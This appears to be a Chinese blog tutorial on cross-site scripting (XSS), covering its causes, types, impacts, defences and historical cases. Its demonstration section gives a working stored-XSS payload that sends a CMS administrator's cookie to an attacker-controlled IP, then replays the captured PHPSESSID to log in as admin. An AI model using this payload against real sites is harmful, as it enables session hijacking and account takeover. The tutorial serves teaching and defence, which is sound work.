当前位置: 首页 > news >正文

XSS 漏洞详解

XSS 漏洞详解

文章目录

  • XSS 漏洞详解
    • 漏洞描述
    • 漏洞原理
    • 漏洞场景
    • 漏洞评级
    • 漏洞危害
    • 漏洞验证
    • 漏洞利用
    • 防御方案
    • 典型案例

漏洞描述

XSS全名叫Cross Site Scripting(跨站脚本攻击)因为简写和css同名所以改名为XSS,该漏洞主要利用javascript可以控制html,css,浏览器的行为从而恶意利用,当开发人员未对输入的内容进行过滤或编码时,恶意用户在能向网页提交信息的地方输入构造好的js恶意代码,从而触发XSS

漏洞原理

xss是对用户浏览器进行攻击的,当攻击者在能够触发xss漏洞的地方输入构造好的恶意js代码上传到服务器,在客户机浏览器进行访问被注入xss的网页时,浏览器就会解析并执行这段恶意代码就会遭受到xss攻击

漏洞场景

XSS漏洞一般发生的地方:

  • url传递参数的地方
  • 能收集用户输入的地方

漏洞评级

漏洞等级:高危

漏洞危害

  • 恶意弹窗广告,刷流量:攻击者可以利用XSS漏洞在受害者的浏览器中显示恶意广告或弹窗,从而扰乱用户体验并可能导致流量损失
  • 重定向流量:攻击者可以利用XSS漏洞将用户重定向到恶意网站,从而窃取用户的个人信息、敏感数据或者进行其他恶意操作
  • 盗取用户的cookie信息
  • 劫持用户会话执行任意操作
  • 传播蠕虫病毒
    等…

漏洞验证

利用存储型XSS获取cms 网站后台管理员Cookie攻击者登录后台
攻击机开启http服务
在这里插入图片描述
访问cms网站在留言板进行留言并插入储存型xss注入
<script>document.write(\'<img src=\"http://10.9.47.241/\'+document.cookie+\'\"width=0 height=0 border=0/>\')\;</script>
在这里插入图片描述
在这里插入图片描述
注入成功模拟目标机管理原进行登录
在这里插入图片描述
登陆成功访问留言管理页面
在这里插入图片描述
返回http服务查看cookie已经获取到了
在这里插入图片描述
将他写入到浏览器就可以直接登录了
document.cookie=“username=admin”
document.cookie=“userid=1”
document.cookie=“PHPSESSID=fhs6pphep0ru6b74kclkugl7s5”
在这里插入图片描述
直接访问管理员页面登录成功
在这里插入图片描述

漏洞利用

  • 反射型xss
    • 非持久性、参数型的跨站脚本,不会一直存在的,反射型xss代码在web应用参数中比如搜索型
  • 储存型xss
    • 持久性跨站脚本。持久性体现在 XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方,可以在留言板位置进行留言,将恶意代码写进数据库中
  • DOM型xss
    • DOM 型 XSS 是一种XSS 攻击,其中攻击的代码是由于修改受害者浏览器页面的 DOM 树而执行的。特殊的地方就是攻击代码(payload)在浏览器本地修改 DOM 树而执行,并不会将 paylod 上传到服务器,这也使得 DOM 型 XSS 比较难以检测。

防御方案

  • 输入过滤和转义:对用户输入的数据进行严格的过滤和转义,确保所有用户输入都不包含恶意脚本。可以使用HTML编码、JavaScript编码等技术来对用户输入进行转义,从而防止恶意脚本的执行。

  • 内容安全策略(CSP):CSP是一种在HTTP头部中设置的策略,可以指定浏览器只能加载特定来源的资源,从而减少XSS攻击的可能性。

  • 验证和白名单:对用户输入的数据进行验证,并只接受符合特定格式和规则的数据。可以使用白名单机制,只允许特定类型的标记和内容通过输入。

  • HttpOnly标记:在设置cookie时,使用HttpOnly标记,使得cookie只能通过HTTP协议传输,而无法通过JavaScript访问,从而减少XSS攻击对cookie的影响。

  • 安全审计和漏洞扫描:定期对Web应用程序进行安全审计和漏洞扫描,及时发现和修复潜在的XSS漏洞。

  • 教育和培训:对开发人员和网站管理员进行安全意识培训,教导他们如何编写安全的代码和如何防范XSS攻击。

综合运用这些防御方案,可以有效降低XSS攻击的风险,保护Web应用程序和用户的安全

典型案例

  • Samy蠕虫:2005年,一名黑客Samy Kamkar通过MySpace社交网络站点上的XSS漏洞,成功注入恶意脚本代码,从而创建了一个名为“Samy”的用户,并在他的个人资料中添加了恶意JavaScript代码。当其他用户访问Samy的个人资料时,他们的个人资料也会被感染,并将自己的个人资料中的恶意代码注入到其他用户的个人资料中,从而形成了一个蠕虫式攻击。

  • Stealing Cookies:攻击者可以通过注入恶意脚本代码,窃取用户的cookie信息,从而获取用户的身份验证信息,进而访问用户的账户和个人数据。

  • XSS Keylogger:攻击者可以通过注入恶意脚本代码,记录用户在输入框中输入的所有内容,包括用户名和密码等敏感信息,从而窃取用户的账户和个人数据。

  • Clickjacking:攻击者可以通过注入恶意脚本代码,将用户点击的链接覆盖在一个透明的iframe中,从而欺骗用户点击了一个看似无害的链接,实际上却是执行了恶意操作。

这些案例都展示了XSS攻击的危害性和可怕性,强调了对Web应用程序进行安全审计和漏洞扫描的重要性,以及对开发人员和网站管理员进行安全意识培训的必要性。

相关文章:

  • flink1.18.0 sql-client报错
  • LeetCode算法心得——全排列(回溯型排列)
  • Unity 获取对象的方法
  • 饥饿加载与懒加载的区别
  • 【力扣:1504】统计全1子矩阵
  • 物奇平台耳机复位功能实现
  • 简述 HTTP 请求的过程是什么?
  • 哪款手机便签软件支持存储录音文件并支持转文字?
  • 快速搭建PHP管理后台
  • ipad可能会在iOS 16中失去智能家居中心功能
  • 学习c#的第三天
  • 快速搭建开源分布式任务调度系统DolphinScheduler并远程访问
  • 开发知识点-NodeJs-npm/Pnpm/Vite/Yarn包管理器
  • [AndroidStudio]_[初级]_[修改虚拟设备镜像文件的存放位置]
  • SQLI手动注入和python sqlmap代码注入
  • [分享]iOS开发 - 实现UITableView Plain SectionView和table不停留一起滑动
  • [译] React v16.8: 含有Hooks的版本
  • 2017 年终总结 —— 在路上
  • Android开源项目规范总结
  • Asm.js的简单介绍
  • centos安装java运行环境jdk+tomcat
  • iOS高仿微信项目、阴影圆角渐变色效果、卡片动画、波浪动画、路由框架等源码...
  • JavaScript异步流程控制的前世今生
  • Java深入 - 深入理解Java集合
  • Promise面试题2实现异步串行执行
  • 动态魔术使用DBMS_SQL
  • 简单易用的leetcode开发测试工具(npm)
  • 如何编写一个可升级的智能合约
  • 使用common-codec进行md5加密
  • 数据仓库的几种建模方法
  • 说说动画卡顿的解决方案
  • 微信如何实现自动跳转到用其他浏览器打开指定页面下载APP
  • 再次简单明了总结flex布局,一看就懂...
  • Salesforce和SAP Netweaver里数据库表的元数据设计
  • 教程:使用iPhone相机和openCV来完成3D重建(第一部分) ...
  • ​LeetCode解法汇总307. 区域和检索 - 数组可修改
  • # Panda3d 碰撞检测系统介绍
  • #pragma multi_compile #pragma shader_feature
  • $.ajax()方法详解
  • (02)vite环境变量配置
  • (vue)页面文件上传获取:action地址
  • (附源码)ssm码农论坛 毕业设计 231126
  • (一)Spring Cloud 直击微服务作用、架构应用、hystrix降级
  • (原创) cocos2dx使用Curl连接网络(客户端)
  • (原创)攻击方式学习之(4) - 拒绝服务(DOS/DDOS/DRDOS)
  • (转)Oracle存储过程编写经验和优化措施
  • .bashrc在哪里,alias妙用
  • .Net Core与存储过程(一)
  • .NET Remoting学习笔记(三)信道
  • .NET 依赖注入和配置系统
  • .NET 中 GetProcess 相关方法的性能
  • .NET与java的MVC模式(2):struts2核心工作流程与原理
  • .one4-V-XXXXXXXX勒索病毒数据怎么处理|数据解密恢复
  • @ModelAttribute注解使用
  • [ HTML + CSS + Javascript ] 复盘尝试制作 2048 小游戏时遇到的问题